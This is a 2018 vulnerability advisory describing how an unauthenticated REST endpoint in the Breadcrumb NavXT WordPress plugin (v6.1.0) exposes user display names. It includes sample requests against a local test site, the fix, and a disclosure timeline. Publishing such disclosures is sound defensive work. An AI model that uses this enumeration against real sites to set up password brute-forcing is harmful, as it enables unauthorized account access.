[waraxe-2018-SA#108] - Username Disclosure in Breadcrumb NavXT Wordpress plugin
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Author: Janek Vind "waraxe"
Date: 26. September 2018
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-108.html

Target description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Breadcrumb NavXT, the successor to the popular WordPress plugin Breadcrumb
Navigation XT, was written from the ground up to be better than its ancestor.
This plugin generates locational breadcrumb trails for your WordPress powered
blog or website. These breadcrumb trails are highly customizable to suit the
needs of just about any website running WordPress.

https://wordpress.org/plugins/breadcrumb-navxt/

Vulnerable version: 6.1.0
Fixed version: 6.2.0
Active installations: 700 000+

###############################################################################
1. Wordpress Username Disclosure via REST API function "author"
###############################################################################
 
Breadcrumb NavXT plugin provides REST API functionality:

http://localhost/wp498/wp-json/bcn/v1

Let's look at REST API function "author":

/bcn/v1/author/(?P<id>\d+)":{
            "namespace":"bcn/v1",
            "methods":[
                "GET",
                "OPTIONS"
            ],
            "endpoints":[
                {
                    "methods":[
                        "GET",
                        "OPTIONS"
                    ],
                    "args":{
                        "id":{
                            "required":true,
                            "description":"The ID of the author to retrieve the breadcrumb trail for.",
                            "type":"integer"
                        }
                    }
                }
            ]
        }
    
http://localhost/wp498/wp-json/bcn/v1/author/1

{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"http:\/\/localhost\/wp498","name":"Test site"}},{"@type":"ListItem","position":2,"item":{"@id":"","name":"root"}}]}

http://localhost/wp498/wp-json/bcn/v1/author/4

{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"item":{"@id":"http:\/\/localhost\/wp498","name":"Test site"}},{"@type":"ListItem","position":2,"item":{"@id":"","name":"editor"}}]}

As seen above, Wordpress usernames "root" and "editor" are exposed in API responses.
Closer look at the source code of Breadcrumb NavXT plugin reveals that information exposed
is actually Wordpress user's "display_name", which can be either username or nickname.
By default "display_name" equals to username, but user can change this behavior in "Profile"
menu option "Display name publicly as". 

API function "author" can be accessed in unauthenticated state and as result anyone can
list Wordpress usernames without registering or having an account on website. 
Wordpress authentication is based on two pieces of information - username and password.
It's possible to launch password bruteforce attack when username is known.

How to fix: upgrade Breadcrumb NavXT Wordpress plugin to version 6.2.0.
In this new version API endpoints are disabled by default.
It's also possible to completely disable Breadcrumb NavXT REST API by setting
BCN_DISABLE_REST_API to true in a site's configuration file "wp-config.php",
as described in https://mtekk.us/archives/guides/disabling-breadcrumb-navxts-rest-api/


Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
13.09.2018 -> First email sent to developers
13.09.2018 -> Got first response from developers
13.09.2018 -> Sending detailed information to developers
25.09.2018 -> Found problems are fixed, new version available
26.09.2018 -> Waraxe advisory released
 
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
come2waraxe@yahoo.com
Janek Vind "waraxe"
 
Waraxe forum:  http://www.waraxe.us/
Personal homepage: http://www.janekvind.com/